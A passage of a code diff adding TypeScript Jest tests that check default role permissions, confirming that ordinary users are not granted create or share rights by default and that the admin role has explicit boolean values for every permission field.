|
+
|
|
53
|
+
it('should never grant CREATE, SHARE, or SHARE_PUBLIC by default for resource-management types', () => {
|
|
54
|
+
for (const permType of RESOURCE_PERMISSION_TYPES) {
|
|
55
|
+
const permissions = userPerms[permType] as Record<string, boolean>;
|
|
56
|
+
for (const field of RESOURCE_MANAGEMENT_FIELDS) {
|
|
57
|
+
if (permissions[field] === undefined) {
|
|
58
|
+
continue;
|
|
59
|
+
}
|
|
60
|
+
expect({
|
|
61
|
+
permType,
|
|
62
|
+
field,
|
|
63
|
+
value: permissions[field],
|
|
64
|
+
}).toEqual(
|
|
65
|
+
expect.objectContaining({
|
|
66
|
+
permType,
|
|
67
|
+
field,
|
|
68
|
+
value: false,
|
|
69
|
+
}),
|
|
70
|
+
);
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it('should cover every permission type that has CREATE, SHARE, or SHARE_PUBLIC fields', () => {
|
|
76
|
+
const schemaShape = permissionsSchema.shape;
|
|
77
|
+
const restrictedSet = new Set<string>(RESOURCE_PERMISSION_TYPES);
|
|
78
|
+
|
|
79
|
+
for (const [permType, subSchema] of Object.entries(schemaShape)) {
|
|
80
|
+
const fieldNames = Object.keys(subSchema.shape);
|
|
81
|
+
const hasResourceFields = fieldNames.some((f) => RESOURCE_MANAGEMENT_FIELDS.includes(f as Permissions));
|
|
82
|
+
if (!hasResourceFields) {
|
|
83
|
+
continue;
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
const isTracked =
|
|
87
|
+
restrictedSet.has(permType) ||
|
|
88
|
+
permType === PermissionTypes.MEMORIES ||
|
|
89
|
+
permType === PermissionTypes.PROMPTS ||
|
|
90
|
+
permType === PermissionTypes.AGENTS;
|
|
91
|
+
|
|
92
|
+
expect({
|
|
93
|
+
permType,
|
|
94
|
+
tracked: isTracked,
|
|
95
|
+
}).toEqual(
|
|
96
|
+
expect.objectContaining({
|
|
97
|
+
permType,
|
|
98
|
+
tracked: true,
|
|
99
|
+
}),
|
|
100
|
+
);
|
|
101
|
+
}
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
describe('ADMIN role', () => {
|
|
106
|
+
const adminPerms = roleDefaults[SystemRoles.ADMIN].permissions;
|
|
107
|
+
|
|
108
|
+
it('should have explicit values for every field in every permission type', () => {
|
|
109
|
+
const schemaShape = permissionsSchema.shape;
|
|
110
|
+
|
|
111
|
+
for (const [permType, subSchema] of Object.entries(schemaShape)) {
|
|
112
|
+
const fieldNames = Object.keys(subSchema.shape);
|
|
113
|
+
const adminValues =
|
|
114
|
+
adminPerms[permType as PermissionTypes] as Record<string, boolean>;
|
|
115
|
+
|
|
116
|
+
for (const field of fieldNames) {
|
|
117
|
+
expect({
|
|
118
|
+
permType,
|
|
119
|
+
field,
|
|
120
|
+
value: adminValues[field],
|
|
121
|
+
}).toEqual(
|
|
122
|
+
expect.objectContaining({
|
|
123
|
+
permType,
|
|
124
|
+
field,
|
|
125
|
+
value: expect.any(Boolean),
|
|
126
|
+
}),
|
|
127
|
+
);
|
|
128
|
+
}
|
|
129
|
+
}
|
|
130
|
+
});
|
|
131
|
+
});
|
|
132
|
+
});
|